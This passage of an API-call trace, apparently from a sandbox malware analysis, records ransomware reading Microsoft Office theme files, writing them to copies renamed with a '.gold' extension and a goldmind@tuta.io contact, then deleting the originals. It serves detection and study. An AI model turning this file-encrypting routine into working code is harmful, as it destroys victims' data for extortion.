returned 4 [0095.326] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0095.326] lstrlenW (lpString=".7z") returned 3 [0095.326] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0095.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Angles.eftx") returned 78 [0095.326] lstrlenW (lpString=".dbf") returned 4 [0095.326] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0095.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Angles.eftx") returned 78 [0095.327] lstrlenW (lpString=".1cd") returned 4 [0095.327] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0095.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Angles.eftx") returned 78 [0095.327] lstrlenW (lpString=".jpg") returned 4 [0095.327] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0095.327] lstrcmpiW (lpString1=".eftx", lpString2=".gold") returned -1 [0095.327] lstrlenW (lpString="Clarity.eftx") returned 12 [0095.327] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Clarity.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\clarity.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0095.328] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=32818) returned 1 [0095.328] CloseHandle (hObject=0x194) returned 1 [0095.328] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Clarity.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\clarity.eftx")) returned 0x20 [0095.328] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Clarity.eftx.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\clarity.eftx.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0095.328] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Clarity.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\clarity.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0095.328] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0095.328] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0095.328] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Clarity.eftx.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\clarity.eftx.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0095.331] GetLastError () returned 0x0 [0095.331] ReadFile (in: hFile=0x194, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x8032, lpOverlapped=0x0) returned 1 [0095.332] WriteFile (in: hFile=0x39c, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0x8040, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0x8040, lpOverlapped=0x0) returned 1 [0095.333] ReadFile (in: hFile=0x194, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x0, lpOverlapped=0x0) returned 1 [0095.333] WriteFile (in: hFile=0x39c, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0xec, lpOverlapped=0x0) returned 1 [0095.333] SetEndOfFile (hFile=0x39c) returned 1 [0095.334] CloseHandle (hObject=0x39c) returned 1 [0095.334] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0095.334] SetEndOfFile (hFile=0x194) returned 1 [0095.341] CloseHandle (hObject=0x194) returned 1 [0095.342] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Clarity.eftx.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0095.342] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Clarity.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\clarity.eftx")) returned 1 [0095.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Clarity.eftx") returned 79 [0095.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Clarity.eftx") returned 79 [0095.342] lstrlenW (lpString=".doc") returned 4 [0095.342] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0095.342] lstrlenW (lpString=".docx") returned 5 [0095.342] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0095.342] lstrlenW (lpString=".pdf") returned 4 [0095.342] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0095.342] lstrlenW (lpString=".xls") returned 4 [0095.343] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0095.343] lstrlenW (lpString=".xlsx") returned 5 [0095.343] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0095.343] lstrlenW (lpString=".ppt") returned 4 [0095.343] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0095.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Clarity.eftx") returned 79 [0095.343] lstrlenW (lpString=".zip") returned 4 [0095.343] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0095.343] lstrlenW (lpString=".rar") returned 4 [0095.343] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0095.343] lstrlenW (lpString=".bz2") returned 4 [0095.343] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0095.343] lstrlenW (lpString=".7z") returned 3 [0095.343] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0095.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Clarity.eftx") returned 79 [0095.343] lstrlenW (lpString=".dbf") returned 4 [0095.343] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0095.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Clarity.eftx") returned 79 [0095.343] lstrlenW (lpString=".1cd") returned 4 [0095.343] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0095.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Clarity.eftx") returned 79 [0095.343] lstrlenW (lpString=".jpg") returned 4 [0095.343] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0095.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Clarity.eftx") returned 79 [0095.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Clarity.eftx") returned 79 [0095.343] lstrlenW (lpString=".doc") returned 4 [0095.343] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0095.343] lstrlenW (lpString=".docx") returned 5 [0095.343] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0095.343] lstrlenW (lpString=".pdf") returned 4 [0095.343] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0095.343] lstrlenW (lpString=".xls") returned 4 [0095.343] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0095.343] lstrlenW (lpString=".xlsx") returned 5 [0095.343] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0095.343] lstrlenW (lpString=".ppt") returned 4 [0095.343] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0095.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Clarity.eftx") returned 79 [0095.343] lstrlenW (lpString=".zip") returned 4 [0095.343] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0095.343] lstrlenW (lpString=".rar") returned 4 [0095.343] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0095.343] lstrlenW (lpString=".bz2") returned 4 [0095.343] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0095.343] lstrlenW (lpString=".7z") returned 3 [0095.343] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0095.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Clarity.eftx") returned 79 [0095.343] lstrlenW (lpString=".dbf") returned 4 [0095.343] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0095.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Clarity.eftx") returned 79 [0095.343] lstrlenW (lpString=".1cd") returned 4 [0095.343] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0095.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Clarity.eftx") returned 79 [0095.343] lstrlenW (lpString=".jpg") returned 4 [0095.344] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0095.344] lstrcmpiW (lpString1=".eftx", lpString2=".gold") returned -1 [0095.344] lstrlenW (lpString="Composite.eftx") returned 14 [0095.344] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Composite.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\composite.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0095.344] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=533988) returned 1 [0095.345] CloseHandle (hObject=0x194) returned 1 [0095.345] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Composite.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\composite.eftx")) returned 0x20 [0095.345] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Composite.eftx.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\composite.eftx.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0095.345] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Composite.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\composite.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0095.345] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0095.345] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0095.345] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Composite.eftx.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\composite.eftx.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0095.346] GetLastError () returned 0x0 [0095.346] ReadFile (in: hFile=0x194, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x825e4, lpOverlapped=0x0) returned 1 [0095.489] WriteFile (in: hFile=0x39c, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0x825f0, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0x825f0, lpOverlapped=0x0) returned 1 [0095.663] ReadFile (in: hFile=0x194, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x0, lpOverlapped=0x0) returned 1 [0095.664] WriteFile (in: hFile=0x39c, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0xf0, lpOverlapped=0x0) returned 1 [0095.664] SetEndOfFile (hFile=0x39c) returned 1 [0095.664] CloseHandle (hObject=0x39c) returned 1 [0095.664] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0095.664] SetEndOfFile (hFile=0x194) returned 1 [0095.673] CloseHandle (hObject=0x194) returned 1 [0095.673] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Composite.eftx.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0095.673] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Composite.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\composite.eftx")) returned 1 [0095.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Composite.eftx") returned 81 [0095.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Composite.eftx") returned 81 [0095.674] lstrlenW (lpString=".doc") returned 4 [0095.674] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0095.674] lstrlenW (lpString=".docx") returned 5 [0095.674] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0095.674] lstrlenW (lpString=".pdf") returned 4 [0095.674] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0095.674] lstrlenW (lpString=".xls") returned 4 [0095.674] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0095.674] lstrlenW (lpString=".xlsx") returned 5 [0095.674] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0095.674] lstrlenW (lpString=".ppt") returned 4 [0095.674] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0095.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Composite.eftx") returned 81 [0095.674] lstrlenW (lpString=".zip") returned 4 [0095.674] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0095.674] lstrlenW (lpString=".rar") returned 4 [0095.674] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0095.674] lstrlenW (lpString=".bz2") returned 4 [0095.674] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0095.674] lstrlenW (lpString=".7z") returned 3 [0095.674] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0095.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Composite.eftx") returned 81 [0095.674] lstrlenW (lpString=".dbf") returned 4 [0095.674] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0095.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Composite.eftx") returned 81 [0095.674] lstrlenW (lpString=".1cd") returned 4 [0095.674] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0095.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Composite.eftx") returned 81 [0095.674] lstrlenW (lpString=".jpg") returned 4 [0095.674] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0095.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Composite.eftx") returned 81 [0095.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Composite.eftx") returned 81 [0095.674] lstrlenW (lpString=".doc") returned 4 [0095.674] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0095.674] lstrlenW (lpString=".docx") returned 5 [0095.674] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0095.674] lstrlenW (lpString=".pdf") returned 4 [0095.674] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0095.675] lstrlenW (lpString=".xls") returned 4 [0095.675] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0095.675] lstrlenW (lpString=".xlsx") returned 5 [0095.675] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0095.675] lstrlenW (lpString=".ppt") returned 4 [0095.675] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0095.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Composite.eftx") returned 81 [0095.675] lstrlenW (lpString=".zip") returned 4 [0095.675] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0095.675] lstrlenW (lpString=".rar") returned 4 [0095.675] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0095.675] lstrlenW (lpString=".bz2") returned 4 [0095.675] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0095.675] lstrlenW (lpString=".7z") returned 3 [0095.675] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0095.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Composite.eftx") returned 81 [0095.675] lstrlenW (lpString=".dbf") returned 4 [0095.675] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0095.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Composite.eftx") returned 81 [0095.675] lstrlenW (lpString=".1cd") returned 4 [0095.675] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0095.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Composite.eftx") returned 81 [0095.675] lstrlenW (lpString=".jpg") returned 4 [0095.675] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0095.675] lstrcmpiW (lpString1=".eftx", lpString2=".gold") returned -1 [0095.675] lstrlenW (lpString="Essential.eftx") returned 14 [0095.675] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Essential.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\essential.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0095.739] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=16350) returned 1 [0095.739] CloseHandle (hObject=0x3c4) returned 1 [0095.739] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Essential.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\essential.eftx")) returned 0x20 [0095.739] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Essential.eftx.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\essential.eftx.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0095.739] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Essential.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\essential.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0095.740] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0095.740] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0095.740] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Essential.eftx.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\essential.eftx.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0095.745] GetLastError () returned 0x0 [0095.745] ReadFile (in: hFile=0x3c4, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x3fde, lpOverlapped=0x0) returned 1 [0095.782] WriteFile (in: hFile=0x190, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0x3fe0, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0x3fe0, lpOverlapped=0x0) returned 1 [0095.783] ReadFile (in: hFile=0x3c4, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x0, lpOverlapped=0x0) returned 1 [0095.783] WriteFile (in: hFile=0x190, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0xf0, lpOverlapped=0x0) returned 1 [0095.783] SetEndOfFile (hFile=0x190) returned 1 [0095.783] CloseHandle (hObject=0x190) returned 1 [0095.783] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0095.783] SetEndOfFile (hFile=0x3c4) returned 1 [0095.785] CloseHandle (hObject=0x3c4) returned 1 [0095.785] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Essential.eftx.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0095.785] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Essential.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\essential.eftx")) returned 1 [0095.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Essential.eftx") returned 81 [0095.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Essential.eftx") returned 81 [0095.786] lstrlenW (lpString=".doc") returned 4 [0095.786] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0095.786] lstrlenW (lpString=".docx") returned 5 [0095.786] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0095.786] lstrlenW (lpString=".pdf") returned 4 [0095.786] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0095.786] lstrlenW (lpString=".xls") returned 4 [0095.786] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0095.786] lstrlenW (lpString=".xlsx") returned 5 [0095.786] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0095.786] lstrlenW (lpString=".ppt") returned 4 [0095.786] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0095.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Essential.eftx") returned 81 [0095.786] lstrlenW (lpString=".zip") returned 4 [0095.786] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0095.786] lstrlenW (lpString=".rar") returned 4 [0095.786] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0095.786] lstrlenW (lpString=".bz2") returned 4 [0095.786] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0095.786] lstrlenW (lpString=".7z") returned 3 [0095.786] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0095.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Essential.eftx") returned 81 [0095.786] lstrlenW (lpString=".dbf") returned 4 [0095.786] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0095.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Essential.eftx") returned 81 [0095.786] lstrlenW (lpString=".1cd") returned 4 [0095.786] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0095.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Essential.eftx") returned 81 [0095.786] lstrlenW (lpString=".jpg") returned 4 [0095.786] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0095.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Essential.eftx") returned 81 [0095.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Essential.eftx") returned 81 [0095.786] lstrlenW (lpString=".doc") returned 4 [0095.786] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0095.786] lstrlenW (lpString=".docx") returned 5 [0095.786] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0095.786] lstrlenW (lpString=".pdf") returned 4 [0095.786] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0095.786] lstrlenW (lpString=".xls") returned 4 [0095.786] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0095.786] lstrlenW (lpString=".xlsx") returned 5 [0095.786] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0095.786] lstrlenW (lpString=".ppt") returned 4 [0095.786] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0095.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Essential.eftx") returned 81 [0095.787] lstrlenW (lpString=".zip") returned 4 [0095.787] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0095.787] lstrlenW (lpString=".rar") returned 4 [0095.787] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0095.787] lstrlenW (lpString=".bz2") returned 4 [0095.787] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0095.787] lstrlenW (lpString=".7z") returned 3 [0095.787] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0095.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Essential.eftx") returned 81 [0095.787] lstrlenW (lpString=".dbf") returned 4 [0095.787] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0095.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Essential.eftx") returned 81 [0095.787] lstrlenW (lpString=".1cd") returned 4 [0095.787] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0095.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Essential.eftx") returned 81 [0095.787] lstrlenW (lpString=".jpg") returned 4 [0095.787] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0095.787] lstrcmpiW (lpString1=".eftx", lpString2=".gold") returned -1 [0095.787] lstrlenW (lpString="Flow.eftx") returned 9 [0095.787] CreateFileW 